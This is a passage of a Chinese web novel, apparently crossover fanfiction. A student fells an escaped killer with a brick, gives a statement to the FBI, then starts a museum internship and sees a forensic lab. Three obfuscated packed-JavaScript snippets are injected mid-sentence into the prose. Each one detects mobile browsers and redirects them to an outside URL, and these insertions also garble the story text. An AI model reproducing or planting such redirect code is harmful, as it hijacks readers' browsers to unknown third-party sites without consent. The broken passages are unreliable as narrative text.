对于熟人紧接而来的关心问询，海莉看了一眼拎着搬砖打量通缉犯脑袋的小姑娘，那孩子看起来蠢蠢欲动还想要再补上一板砖。 海莉她抿着嘴唇，默默移开视线：“……” 几秒之后，她又听见了沉闷地砰的一声。 电话匆匆挂断，海莉的手机先前被佛耶拿去，又在安晓飞扑出来的时候摔在地上，现在再怎么开机都开不下来，这是先借用了安晓的手机。 她换过好几次电话就是因为FBI的保护制度，要彻底让她远离FBI丈夫带来的连带危险，分居这么长时间再到完全不联系的现在，海莉恍惚发现自己竟然已经要记不清对方的手机号了。 选择先顺着安晓说的通话记录，直接拨给了FBI那边，拜托她们转告一下自己平安无事的消息。 海莉抽出来一张桌布，很长很结实，在空荡荡的家里面也勉强能够充作绳子用，她帮着安晓再给佛耶上了一层保险，，把人给捆得一根手指都难再动弹。 血糊了满头满脸，安晓还不忘把自己随身带的小刀塞给了海莉：“防身用！” 安晓空着的那只手倒是还没忘记把板砖拎着，她又看了眼没动静的佛耶那边，回过头来格外诚恳地嘱咐海莉：“万一他突然醒了要反扑呢，电影里面都是这么演的。” 其实海莉觉得她是想多了，就乔治·佛耶现在这个样子，他还能动弹一下都是上帝赐下奇迹了——但安晓说得对，是要提防一些才行。 又盯着他许久，确定这个人没有再动弹之后，安晓才松下了紧绷着的肩膀。 “……这个会算防卫过当吗。” 她后知后觉担心起来这个问题。 “不算！”海莉果断开口，“他敢算！？” “这是我家，哪怕我现在不住这里了，这也是我和我先生的共同财产。” “这个人是擅闯进来的。”年长的女性磨刀霍霍，“我们占理。” ——我不占理，我住隔壁。 安晓欲言又止。 尚且惊魂未定的海莉还一只手和她的紧紧相握，年长的女性艰难扯了下嘴角露出个笑容：“你这可是见义勇为。” 她不敢想象如果安晓没有出现的话，自己现在会是什么模样，哪怕已经做过了和这个世界和现在人生的道别，但海莉依然想要活着，她还担忧着自己的儿子。 儿子…… 杰克！ 她匆匆抹了一把沾了泪水的冰凉的脸，赶紧跑上楼，跑去了男孩捉迷藏时总喜欢躲着的桌边的储物箱边上，掀开盖子，并不清楚发生了什么的金发男孩对妈妈露出了个大大的笑脸。 这只是捉迷藏游戏，只不过这次找到他的是妈妈而不是爸爸，他搂着在这一刻痛哭出声的妈妈，哪怕不懂，也还是伸出手摸了摸妈妈的头发。 - 霍奇只见过安晓几次，都是原来在社区的聚会上，福珀家过来时，那家的小女儿又或者福珀夫人会把寄宿在她们家的留学生给一起拉上。 是个年轻的沉默寡言的亚裔。 哦，她念的是心理学和考古学的双学位，这或许是霍奇对安晓最深刻的印象了。 从BAU组员那边听来了妻儿都已经平安了的消息，他也没能彻底放下担心，警惕着端着枪走进许久没有回来的旧居，小心翼翼的神态在真正看到海莉的那个瞬间才放松下来。 就是…… 嗯…… 这位总是板正严肃的FBI行为分析小组组长，看着地面上罩着一大块白布的长条疑似人形物体，脸上透露出来一丝疑惑。 “佛耶。”安晓介绍了一下这块类人形物体，她有些忐忑，“我听海莉夫人说您是很厉害的检察官，请问下……” 她手边那块边角沾了血迹的板砖还明晃晃摆着，无声地表露着刚刚发生的事情。 霍奇：“……” 虽然防卫过当，但是从佛耶的罪行还有他越狱时伤害狱警的行径来看，地检不会有太过于责怪的，他思衬。 安晓悄悄地抬起手，拇指食指捏起来小小的距离：“我力气不大所以才都砸了两下，刚刚他都醒了，所以才又补了一下的！” “会很严重吗！” 看着这位BAU组长一直没有吭声的严肃态度，有一瞬间，安晓仿佛已经看见了自己今天刚来的offer挥挥翅膀飞走了的场景。 前面高压下放松下来都没有哭的小姑娘，这会儿是真的想哭出声音了。 她的offer！！她的实习工作，她的留学签转工签！！！No！！！！！ 一愣，霍奇掀开遮住人的床单，看着底下糊了满脸血还有砖头上沙硕碎屑的人，呼吸正常，脉搏正常，除了磕破头皮和脸皮之外，顶天了也就是醒了之后会有脑震荡症状的程度。 “啊。” “完全没有任何问题。” 霍奇想，这种程度，和地检那边说他一脚踩上砖头所以摔了都行，那边不会计较，且不会因为这件事而去刁难这位见义勇为的留学生小姐。 他放缓了语气说，不会有什么问题。 得到了一位FBI高级探员的保证，安晓呼出一口长长的气。 她搓了搓衣角，放下板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510132|186157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砖，把手指头上那些碎粒给搓掉：“那太好了！” 安晓笑了下：“布还是盖上吧，虽然小孩子现在没有对伤人和生死有明确的概念，但是看见也不好。” 坐在边上被海莉揽着的杰克正拿着两个钥匙扣在摆弄，是刚刚安晓回去隔壁拿来的，是之前兼职时，超市老板送的超级英雄挂件，那孩子很喜欢，一下子就被吸引走了注意力。 再回来的时候，安晓还端了两杯热茶过来，就像电视剧里演的那样，受惊吓的人需要毯子和热饮，她考虑地很周全。 “……谢谢。”霍奇把枪塞回自己的枪带，从口袋里掏出来自己的名片，“如果只有有什么需要帮忙的话，可以直接联系我。” 他记得安小姐是本科生，算了下时间，现在应该正是毕业了的时候。 心理学的话，霍奇想，如果她需要再找毕业工作又或者在这方面有什么疑惑的话，自己绝对是可以帮得上忙的。 “还有。” “安小姐。” 话锋一转，劫后余生般的庆幸笑意在嘴角转瞬即逝，BAU组长又变回了刚刚的严肃模样。 他当然无比感谢这个女孩愿意奋不顾生帮助了他的妻儿，但这孩子莽得几乎是完全没顾及自身安慰，这也是需要提醒的事情。 闻言的安晓反而睁大了眼睛：“我有做好准备！” 她举着自己的板砖，还有那把塞给了海莉的美工刀，又举证了自己刚刚拨出去的举报电话。 板砖简直是撬棍之外的更适合中国宝宝的物理学圣器——只要力气够大速度够快，带来的伤害也越大，很科学的！ “美工刀？”霍奇沉默看了一眼那把作为裁纸刀也肯定一次性裁不过十张纸的小刀片。 想要划破皮都有点困难的美工刀可不算什么自卫手段。 BAU组长忍不住露出了不赞同的目光。 一旁海莉倒是把这女孩往自己身边拨了拨：“亚伦！” 她压着声音提醒了下分居中的许久未见的丈夫。 “……抱歉。” 抿了下嘴唇，霍奇目不斜视路过了一下波士顿开膛手。 好人连在愤怒之中的报复都很有底线。 安晓看到了也只是如此在想。 直到没两分钟之后，屋外响起来了连绵的警笛声。 安晓才小声补充了一句：“我有数。” 美工刀和板砖比起典型的心理变态杀人犯的枪可是完全不够看，那该怎么办呢？ 在莽起来要过来之前的小姑娘，认真想过怎么样才能在FBI来之前拖住时间。 ——难道向天空大声喊一声Superman，难道真的就会有氪星人超级英雄式落地，来出场救人吗？ 天马行空的幻想比不过近在眼前的危及时刻。 那个紧迫的时刻，下意识拨弄着手腕上追着小行星挂坠的手链，安晓脑袋里想过了这几年在这个社区生活时看见过的所有细节。 路过霍奇纳家的时候，眼角余光无意间扫过的窗户时看到的布局，那些在脑海里组成了破碎的地图。 比起祈祷会有英雄的出现，我能更快解决这件事情。 我知道，至少在现在，我自己才是能相信的可靠的那一个。 是肾上腺素，还是小宇宙爆发呢？ 不引人注意地进去，出其不意地把对方击倒，拆开了也就只有这两个步骤。 此时此刻，安晓也被蜂拥而入的华府的警官们披上小毯子塞了杯热水，她仰着头，格外认真地对霍奇探员说：“我做到了。” 她是结果论。 不过，肯定是世界的错。 转过头，安晓咬着纸杯边缘。 她觉得自己可能染上了点儿奇怪的个人英雄主义。 不太妙。 也不算特别坏。 5. 第 5 章 作为亲手给了佛耶几下板砖大暴击的当事人，安晓还得要去FBI那边做一趟笔录。 感想却是只有一个——好奇怪！ 毕竟自己也动手打人了，以至于做笔录的时候还有点小小的心虚，不过只是走一个过场的问询并没有持续多久，出了问话的房间后，趁着没有镜头和速记员的记录，摩根探员也冲自己竖了个拇指：“干得漂亮。” 他看起来是很畅快的样子，安晓猜测或许他和那个佛耶之间肯定也有不小的仇。 安晓只是笑了笑，不知道怎么回应。 屋外，BAU的组员们也都在，安晓还看见了熟悉的面孔。 “！！！” 小姑娘从敲晕逃犯再到来匡提科做笔录都算得上面目平静，现在这个瞬间，情绪表露地一下子变得非常明显。 五官动作动得都不算大，唯独眼睛是睁得圆乎，目光炯炯，有些像捕猎前瞳孔放大了的猫。 ——那是罗斯！大卫·罗斯！！！ 她听过他的犯罪心理学讲座，虽然是蹭课过去的，也就只听过那一次而已。 但！ 安晓眨眨眼睛，视线挪到了边上的戴瑞克·摩根探员的身上：“……我能借纸笔吗，探员。” 本来并不擅长主动和陌生人谈话交流的小姑娘，难得一次主动开口拜托什么。 她语气诚恳极了：“如果我现在错过了向大卫·罗斯要签名的机会的话，我大概到死都不会原谅今天的自己。” 对于犯罪心理并没有什么兴趣的安晓，却是个侦探小说迷，包括但不限于柯南道尔阿加莎和江户川乱步——她是罗斯的书迷。 这个救了海莉的女孩是罗斯的粉丝诶！ 哇哦！ 摩根挑了下眉梢，倒是没有拒绝，直接把自己办公桌上还没用的本子直接塞给了安晓。 好耶！ 忍住没有欢呼出声，安晓矜持地往前走了两步，到底是没能憋住，中间小小蹦跶了一下。 没忍住低头翻看了下手里面的文件，上面是安晓的个人信息，摩根感叹，这会儿看起来就真的像个孩子了。 刚二十岁出头的年纪，买酒都会被拦下来查证件，这么活泼点儿像个小孩倒也不是问题。 远远看着罗斯笑呵呵给那个亚裔小姑娘签了名，一旁的JJ也跟着上来搭话，离得远了听不清楚，但是从口型看来，应该又是一些感谢之类的话语。 “很勇敢，不是吗。” 刚刚从霍齐办公室里出来的瑞德如是说道。 当事人海莉本来也是要做笔录的，只是当事人今天收到了不小的惊吓，于是笔录被安排在了明天。 关于这次FBI的部署行动，还有佛耶针对于BAU主管家人的报复，接下来一段日子里，局内怕是会一个一个安排人过来谈话，二在那之前，霍齐先把组里最年轻的这位天才博士先喊过去关照了几声。 这次的事情本身和霍齐息息相关，霍齐猜测或许接下来自己也会被上面安排直接停职一段时间，需要安排的事情还有不少。 懵着进门就被劈头盖脸先接了几份之前案件未完结的报告，瑞德腾出一只手来拍了拍摩根的肩膀：“霍齐喊你进去。” 他很佩服她的勇敢和果断，天知道先前发现佛耶抢先一步先找到了海莉的时候，小组成员们又有多紧张担忧。 JJ也报了一大堆关于这次事件的需要做的总结资料跑了进来，她左右看了一圈才瞧见了安晓：“安小姐，我这边安排了车子可以送你回去。” 金发的漂亮女性大方表示着自己的善意。 FBI本身的做事风格或许还不够这么周全妥帖，但对于今天帮了大忙的这位小姐，JJ很乐意大开方便之门。 美女！ 没有任何犹豫就跟着往前走了两步，安晓才想起来自己应该说声再见，毕竟自己刚才试着和罗斯探员搭话的时候提到了曾经参加过的那次讲座，罗斯探员还记得那场讲座讲过的内容！ 和善地说着要是她对行为分析有兴趣的话，随时可以找他咨询提问。 来了一趟FBI，还收到了两张探员的名片诶！ 安晓认为自己应该不会再有要打FBI电话的时刻，不过对方的善意她肯定会妥帖地收好。 瑞德博士也走过来打了声招呼。 “我记得那场讲座。” 过目不忘的天才博士如是说道，特意回忆之后，在记忆中那场讲座的角落里发现了有些眼熟的亚裔女孩，她看起来和现在差别不大。 那次的犯罪心理学的讲座是他和罗斯一起去的，不过从结果来看，其实在场的学生们更喜欢罗斯那种风趣的言论风格。 “那个时候瑞德博士还讲了几个冷笑话！我也记得！” 同样过目不忘的安晓当然记得那次讲座的细节，包括这位博士讲完冷笑话之后的全场冷场，而她，更是直接没听懂他讲了什么——对于英语非母语者，带着学术气息的冷笑话还是有点超出她的理解能力了。 不过现在，对于不擅长应对陌生人的安晓来说，两个熟悉的面孔只会让她更放得开一些。 说再见也说得自然，完全看不出来在张嘴之前，光是一个‘goodbye’就已经打了五六遍腹稿的样子。 罗斯探员和瑞德博士也挥挥手，安晓还收到了瑞德博士友情赠送的两块牛轧糖。 ——救大命了！他是个好人！！！ 到家的时候已经远超了晚餐的时间段，半途上就已经饿得手指都哆哆嗦嗦的安晓咔擦咔擦就直接把牛轧糖给嚼下了肚，奶香很足，有点粘牙，但是胜在糖分高。 今天消耗精力消耗得厉害，又是午后到现在只喝了两口热水，如果没有这两块糖的话，安晓觉得自己能当着开车探员的面，直接表演一个原地晕倒。 车刚刚挺稳，早早就已经等着的朱利安更是直接扑到了安晓的眼前，上下看了几个来回，伸手把任人摆布的小姑娘前后转了两圈，确信小姑娘没事之后，才松了口气。 电话里抱过平安的安晓无奈。 丈夫入狱，女儿又被送回父母家去带，最开始租房问题存在了点儿愧疚心理，安晓感觉朱利安对自己有点儿过度补偿的心理在。 她难得做出来亲昵的姿态，挽着朱利安夫人的手，安慰她说自己没事。 “好吧、好吧。” 年长的女性咕哝了一声，如今就好像自己第二个女儿的孩子都这么说了，她也没有再多问。 电话里语焉不详的报平安并没有透露太多，朱利安并不知道安晓说的‘遇到了隔壁入室抢劫打了举报电话我去做个笔录就回家’，里面到底掺了多少的水分。 她拉着安晓进去，这个时间点已经没有多少餐厅开门，朱利安提前叫了外卖回来，是经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510133|186157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由安晓这个留子亲自认证过的还算正宗的中餐。 “前面我还收到了一个寄给你的包裹，给你放在房间门口了哦。” 朱利安说。 给我的？ 安晓一愣。 国内妈妈应该不会给自己额外寄什么东西，母女的温情在这几年的留学生活之中总是很难有所体现，但在知道安晓会留在美国实习的时候，妈妈也还是又转过来了生活费，让她好好工作。 至于父亲那边……呵…… 安晓回屋，拿着并不算重的盒子，上面还扎着个蝴蝶结，蝴蝶结底下压着张蓝色的卡片。 恭喜入职。 上面龙飞凤舞写着这句话，但是没有落款。 “……”安晓疑惑地拎起盒子里面那条深蓝色的长裙，是端正的正好适合她实习工作氛围的风格。 她得到offer的事倒也不是什么秘密，虽然朋友圈里也没几个人，安晓也还是分享出去了这个好消息。 而要说那几位朋友里面有哪个是会送这么贴心的礼物的话…… 嗯，完全想不出来呢。 字迹很眼熟。 这条裙子的蓝色，也很眼熟。 摩挲着下巴，安晓的眼神顿时犀利起来。 不对劲。 “竟然会觉得眼熟，问题有点严重。” 安晓喃喃。 对于过目不忘的人来说，对于某个事物只是觉得‘眼熟’可不是小事，尤其是在她仔细回忆的现在，却依然想不出来任何可以搭得上边的记忆，显然更不对劲了。 ——倒不如说是，在世界大融合至今，安晓不止一次在想关于这个世界的问题，直到此时此刻，她才终于确定，世界融合是个大问题不错，而她的记忆也是的的确确出了问题没错。 在此时回望着过去，在能够记起来的那些事情里面，安晓可以确定，自己的记忆只有一次的不对劲。 就在她发现世界大融合的前一天晚上，兼职结束所以晚归的安晓一脑袋撞到了街角的电话亭，磕到了头。 紧接着第二天睡醒了之后，她发现世界的变化。 疑虑原本只是压在心底，但到了现在，安晓想要忽略也实在是没办法再心大地劝自己把这些别当回事。 很严重啊，怎么想都很严重！ 本来只有我发现世界不对劲就够奇怪的了，结果我自己的记忆都出问题了啊喂！ 从她撞到了电话亭再到‘第二天睡醒睁眼’这个中间的记忆，是零。 难道是世界格式化再下载其他世界系统重启，正好把我重启出bug了。 莫名就下意识忽略了这个问题不去思考，再到如今的无法忽略。 抓了抓头发，安晓把脸埋进被子里发出一声无声的哀嚎。 时间，空间…… 这个世界这个维度…… 为什么是我发现有问题啊！！ “说到底，和我又有什么关系嘛。”她想要抱怨，又不知道这是能对谁抱怨的话题。 - 那天撞到了头的安晓，在晚上回到房间里之后就做了个梦。 梦是漫长的，算不上好算不上坏的，在她睡醒后就会被忘记。 事已至此，那就先做个好梦呗，还能咋的。 在毕业之后终于要开启人生新阶段，安晓在入睡前姑且先这么对自己说道。 6. 第 6 章 对待自己第一份正式工作，哪怕只是实习，安晓也是认真以待。 新的长裙穿在身上，头发扎成了利落的马尾，出门的时候朱利安还很亲切地给了她一个面颊吻。 入职的过程顺利极了，其中花费时间最长的部分也就是人事部门给她开了一张个人通行证。 安晓很满意自己的这份实习工作，尤其是带着自己的老员工在杰弗逊博物馆里先逛过一大圈的时候，人类历史上那些璀璨的时光以文物的方式留存下来，不过化石展的部分是她最喜欢的。 上午时间都是让安晓来熟悉她的工作环境的，博物馆也并非是一直开放的状态，平日的非开放时间安晓则需要去考古部门帮忙，本科生能够帮上忙的地方很少，转头直接就被塞了一份清单在手里，日常就是清点物品看是否丢失损坏。 “好好干，安小姐。” 路过的古德曼先生顺手拍了拍安晓的肩膀。 ……我导？？？我导？？？闹鬼了我竟然在毕业之后看见我导了啊啊啊！！！！ 保持很好的微笑表情在这一瞬间清零，安晓内心发出尖锐爆鸣。 古德曼先生，杰弗逊的大老板，虽然目前他为了追求原本的梦想打篮球去了，但老板依然是老板——日常的时候也会去大学担任考古学的讲师。 我导是我老板，我导是我老板，我导是我老板—— 安晓遇见了她不敢想象的最可怕的事情，就目前来看，没有之一。 导师先生导师没有想自己的突然出现能过这位小姑娘带来什么心理阴影，他推荐给了安晓一个来面试的机会没错，但面试上也都还是靠这孩子自己的能力过的，身为导师，此刻只感到欣慰。 后面研究生我这边还可以继续带你。 他说。 安晓：“……” 啊叭啊叭啊叭啊叭…… 眼看着为亚裔小同学又有要逃避话题的智慧表情出来，古德曼暂且先把这个话题给略了过去，只是让她好好干。 如果安晓不继续念研究生的话，他想，他会感觉到非常可惜。 那孩子对时间长河中已经流逝的过去充满兴趣，如果愿意在这一行深造的话，未来有一天肯定也会有所建树，可惜，目前还看不出来安晓有要深入发展的意向。 对于古德曼先生的期许，目前的安晓只能暂时假装自己什么都看不见，她自己都还不清楚自己想要什么样的未来呢，总归得要再谨慎一下做决定才行。 不过……她是真的很喜欢杰弗逊博物馆。 连朋友约她吃午餐的时候，都是绕了一圈才在史前动物展区的部分找到安晓。 巨大的猛犸象底下，用来休息的椅子上，女孩被衬成了格外娇小的形象。 嗯…… 不过她本来就不算很高。 “安。”文森特喊了她一声。 身上披着刚刚领到的工作人员的外套，正在思考着要是猛犸象能够载人的话，人到底要怎么才能爬到它背上的问题，安晓是被这一声给吓回神了。 “文森？” 这边展区冷气开得足，被喊回神的时候安晓才后知后觉打了个喷嚏，哆哆嗦嗦从好友手里接过来一杯热咖啡。 “哈……” 含过一口热饮之后，呼出来的气白蒙蒙遮住了视野。 安晓一脸深沉：“载人的话，比起爬到猛犸象身上，是不是它们用鼻子把人抬上去更妥当呢。” “如果是按照四百八十万年前来算的话，那个时候人类还不能驯服猛犸象来载人载物。” “后来人类对猛犸象的捕猎也是以猎食和用皮毛保暖来当目标。” 文森特伸手把好友从椅子上拉起来：“安，你还是一样喜欢这种假想猜测。” “总感觉要是能见到猛犸象的话，会想要站在它们后背上的高度看一看。”安晓耸肩，“如果它们愿意用鼻子把人抬上去就好了，我体能不好，爬不上去。” “可惜。” 她说。 可惜冰川时代结束之后的猛犸象灭绝？ 他带着安晓出去：“街角对面的叫皇家餐厅的餐馆味道不错，也有中餐馆。” 安晓正色：“文森，你知道的。” “通常情况下我是不太信英国人最里面的味道不错，毕竟我真的除了炸鱼薯条之外没觉得你们说的好吃好吃过。” “……嘶？” 我这位朋友，她刚刚是不是很礼貌地diss了一下什么？ 对于好友的话，文森特也选择先以沉默来应对，毕竟在几次朋友聚会里，永远都是安晓挑出来的聚餐餐厅最为美味，反驳的话他确实有那么一点点没有底气来说出口。 皇家餐厅虽然名字听起来贵贵的，但本质只是普通的美式家庭餐馆，点了个炒蛋培根和松饼的标配，搭配着红茶作为饮料，安晓才感觉自己缓过来气。 仔细端详了好友几秒之后，文森特果断：“你昨天失眠了。” 正常状态的安晓说话会更讲逻辑一些。 “不全是。” 自从世界大变样之后，安晓就没有睡过几天安生觉，尤其是在真的确定自己记忆也有点问题之后，她最近做梦都梦得格外婚礼。 一会儿梦见自己骑在剑齿虎的背上，一会儿还梦见自己被一群猛犸象给撵着跑，还有梦见过和穿着铠甲的大蜥蜴在自由搏击。 今天实习入职，在发现导师是大老板之后，现实更是给予安晓沉重一击，虽然接受新入职的员工培训什么都很正常的参与了，实际上魂已经飞到外太空不知道哪个星球去了。 朋友更能发现她现在这种心神不宁的状态。 “Hug？”想了想，文森特问。 “我拒绝和查理之外的朋友拥抱。”安晓十动然拒，甚至两只手抬起来比了个叉叉，态度过于坚决诚恳，“才不要！” “……” 非常确定以及肯定安晓只有两个朋友的文森特，觉得自己应该或许是被嫌弃了。 嗯，换个话题。 已经认识许久，文森特知道安晓的情绪足够稳定，现在被失眠问题困恼着估计也不会持续很久，两个人默契地把话题挪到了真正的闲聊上。 “那你呢，你最近怎么样？” 安晓选择性隐瞒下自己前两天刚敲破一个连环杀手脑壳的事实，大吐特吐了一番她导现在竟然变成她老板的苦命事儿。 “古德曼先生吗？” 一直都在研究所这边实习的文森特对于那位不常来杰弗逊的大老板并不熟悉，不过他想要吐槽的事情也一点儿不少。 “安。” 文森特清清嗓子，正儿八经还理了一下自己的领口：“我现在可是布伦南博士的实习生。” “那位人类研究学家！？” 啪啪啪。 安晓海豹鼓掌。 布伦南·坦普伦斯的名号哪怕是她都有听说过，全球顶尖的人类学家，哪怕是安晓这个和人类学扯不上关系的都有听说过那位博士的名号，要知道那位手底下的实习生位置那也是挤破头都难抢到的！ 文森特颇为得以地抬了下下巴：“现在是几位实习生轮岗的制度，虽然还没有再确定录用谁，我最近也有在为得到布伦南博士的夸奖在努力。” 虽然那位布伦南博士的性格有点……用安晓的方式来描述就是有点人机，这项任务任重而道远，但能在她手下实习本身就是有一种荣誉，文森特目前也处在一个格外满足的状态。 “我们还帮FBI破过好几个案子了！”文森特，如此炫耀道。 FBI？ 敏锐捕捉到了关键词，安晓眯起眼睛：“为什么人类学会帮FBI破案？” 就像她刚刚知道的，BAU那样心理学和行为分析精通的，能够破案倒是很正常，但人类学？怎么帮？ “你知道的，研究骨头。”他说。 ……那不是法医的事情吗？ 好友一脸的高深莫测：“安，跟你说一个热知识，那就是我们可是骨头专精，杰弗逊研究所还有全国顶尖的植物学家昆虫学家，以及最尖端的设备哦！” “那些很奇怪的遗体会被当地警局上报给FBI，研究所会负责帮忙做全方面的鉴定。” 看得出来他好喜欢实习了。 安晓咋舌。 “你今天第一天应该是要熟悉一下杰弗逊吧，要来人类研究所这边看看吗？” “好啊。” 喝了一口红茶，此时此刻的安晓并不知道自己等下要见识到什么样的场景，她只是煞有其事地评价道：“这家红茶味道也好喝。” 这……好喝吗？ 英国人，文森特·奈吉莫瑞先生，看着很显然就是茶包加了糖的红茶，龇牙咧嘴。 ——食物方面可能这位中国朋友比较有发言权，但是红茶的话，果然还是我品味比较靠谱。 杰弗逊博物馆还有人类研究所都是在同一栋大楼里面，带给人的感觉是完全不一样的。 比如说……几个人抬着一具只剩下烂肉的爬满了蛆虫的尸体从安晓面前经过的时候。 还是博物馆里那种冷淡的灰尘的味道比较适合我。 瞳孔震颤着看着文森特过于熟练地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510134|186157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从口袋里抽出来一双手套穿好，连个口罩都没有地直接刷了通行证直奔之间的实验台，同类尸体腐烂的臭味让她本能打了个颤栗，过于好的记忆力让刚刚看见过的画面还不听在脑袋里面翻新出来。 “哦！工作、额、安……” 慢两拍反应过来小伙伴就这么被自己抛在了原地，文森特扒拉在实验台栏杆边缘指了下隔壁的门，“那边刷卡出去右转到底的安全通道边上的货梯直达博物馆。” 我来的路上就看见到墙上的道路指示图就已经记住了！！ 虽然午休时间还没有结束，但很显然文森特这边工作要更紧急一些。 安晓只是笑笑，虽然这个笑容实在是称得上‘苦涩’。 又看了眼从自己角度看去只剩下枯瘦粘着碎且烂的肉的小腿骨骼。 “Poor man。”她喃喃，摇摇头不再去看，出门时还正好和布伦南博士擦肩而过。 好年轻。 安晓觉得自己最近碰见的博士好像都很年轻。 遇见天才的频率好像变高了。 我都开始在想要不要也继续念下去了。 不过在仔细想到底要不要深造之前，还得先跟朱利安说一下，今天晚饭就先不吃肉类了吧。 - “那个女孩是你的朋友吗，奈吉莫瑞先生？” 实验台上，安吉拉拿着素描本准备等他们清理好骸骨上的腐肉，就去做面部复原，等了没两分钟就凑过来试图八卦一下，语气稍显促狭，显然意有所指。 “……” 文森特·奈吉莫瑞先生瞬间露出了苦瓜般的表情，转瞬又用正常表情覆盖了过去。 “安晓小姐是我在书迷会上认识的朋友。” “以及，我已经被狠狠甩过了。” 被甩是他们成为朋友之前的事情了，文森特那个时候遇见了刚来美国留学的安晓，自信满满地上去试图搭话的结果，就是直面了那孩子‘抱歉我完全听不懂你在说什么’的暴击。 伤害太大，他甚至是在两天之后才反应过来安晓是用极其流利的口语来应对自己的搭讪，委婉的拒绝在两天之后又暴击了他可怜的心脏——意外地，两个人后来在学校组织的书迷会里又见面，对于书本小说的喜好还算一致的两个人偶尔也聊过两次天，后来莫名也成了朋友般的关系。 往别的方向发展的想法倒是早就没有了，和安晓当朋友是非常舒心的事情，文森特对此已经足够满意。 “那孩子还不错。” 布伦南博士也跟着来了一句。 一旁的等着遗体初步检查结果的布斯探员都一个向日葵猛回头，没想到搭档竟然会对一个擦肩而过的小孩有这种程度的夸奖的话，他夸张地喊了一声搭档：“骨头，你认真的？” “嗯，当然。” 布伦南博士是满脸正经的无辜：“刚刚抬尸体进来的人和那位安晓小姐只是擦肩而过，她就辨认出来了死者是男性，不错的眼力。” “新来的实习生？” 布斯探员顺口问道。 一旁的人类研究所目前的管理者凯米博士仔细回想了下，也摇摇头：“我这里没有来新人的通知。” “……事实上，她是博物馆那边新来的实习讲解员，兼任了考古部的部分清点工作。” 文森特举手解释道。 考古学的话，确实也会涉及到古人类的研究，虽然不是专业人士，但也可以辨认性别。 恍然之中，布伦南博士稍微把自己刚刚的夸奖提高了一丁点儿层次：“作为外行人的话，是的，她有很好的眼力。” 咔擦。 于是，文森特听见了自己心碎的声音——亲爱的安，你比我更先得到布伦南博士的夸奖啊。 时隔几年之后，好朋友又轻而易举给他打出来一发暴击。 眼见着话题又要聊远了，布斯探员赶紧拍了拍布伦南博士的肩膀扯回正题：“好了骨头，关于这位老兄，还有点别的什么信息吗。” 性别和年龄区间都是第一眼见到尸体是就已经辨认出来的，相貌复原还要等清理好头骨之后等安吉拉那边再继续进行，至于死因的话，初步判断是有什么从受害者的胸口穿胸而过。 “而我们的凶器碎片，卡在了受害者老兄的肋骨上了。” 一旁的霍金斯博士用镊子从肋骨上夹出来一块小小的莹绿色的石块。 “这种绿色，如果要作为有能够刺穿肋骨的硬度的凶器……”他奔着要回自己的实验室，“我去查一下。” 这种幽幽亮着的莹绿色碎片，某种人工合成的矿石？ 7. 第 7 章 【今天第一天上班感觉怎么样？by查理】 【没什么特别的，不过这里博物馆我很喜欢。by安晓】 第一天上班终于结束，安晓的唯二的朋友也纷纷上线来问她工作的感想。 这会儿安晓正忙着在刷各种综艺小视频，试图用新的记忆先把脑袋里骸骨画面给刷新过去，回复的用词依然是她惯常的平淡，实际上躲在家里的本人，表情都算得上‘狰狞’。 记忆力太好了也是个问题。 几句闲扯过后就互相道了晚安，查理在退出她自制的聊天程序之前，还和安晓说了她们都很喜欢的小说又出了新的一季，推荐去看。 啊，说起来好像我的朋友都是在书迷会里面认识的。 安晓干脆蒙上眼睛试图先放空自己。 乱飞的思绪回想起来她和两个好友的相识。 和文森特是因为侦探小说，渐渐熟悉起来的最开始，两个人还总是因为到底阿加莎的小说好看还是柯南道尔的好看争论过，和查理认识也是在关于小说的论坛里面。 认识查理则是要还要更早一些，初来乍到的安晓那会儿的英语还不够那么好，还住在留学生宿舍里的她也还没有交上朋友，独自一人的安晓是在靠论坛上和同好会讨论小说剧情的方式，在锻炼自己的读写能力。 安晓认识查理是因为一系列叫做《Supernatural》的小说。 打鬼杀幽灵还有什么天使恶魔之类，西幻题材的天马行空很有趣，虽然也有恐怖情节的描写，但是文字总不会有画面那种程度的冲击力，是那段时间安晓最大的乐趣来源。 只是这系列的小说出版并不多，或许是题材选材的原因，受众也不够广，想要买的话怕是得要跑很多书店才能找到库存。 她在论坛上试图装e问有没有人知道哪里书店还有卖这套书在卖，查理留言说自己可以查到华府所有旧书店的地址，也很热情和她聊起了那套小说的情节。 线上聊得愉快，再到认识了很长一段时间之后，因为华府附近开了漫展，查理说要来凑凑热闹，两个人才第一次见面。 原本以为聊天室对面的是一位很容易让人产生刻板印象的‘宅男’，安晓那天却看到了一位红发大美人，查理甚至还是一名黑客！ 不过查理的品味很好，推荐的书单都很不错。 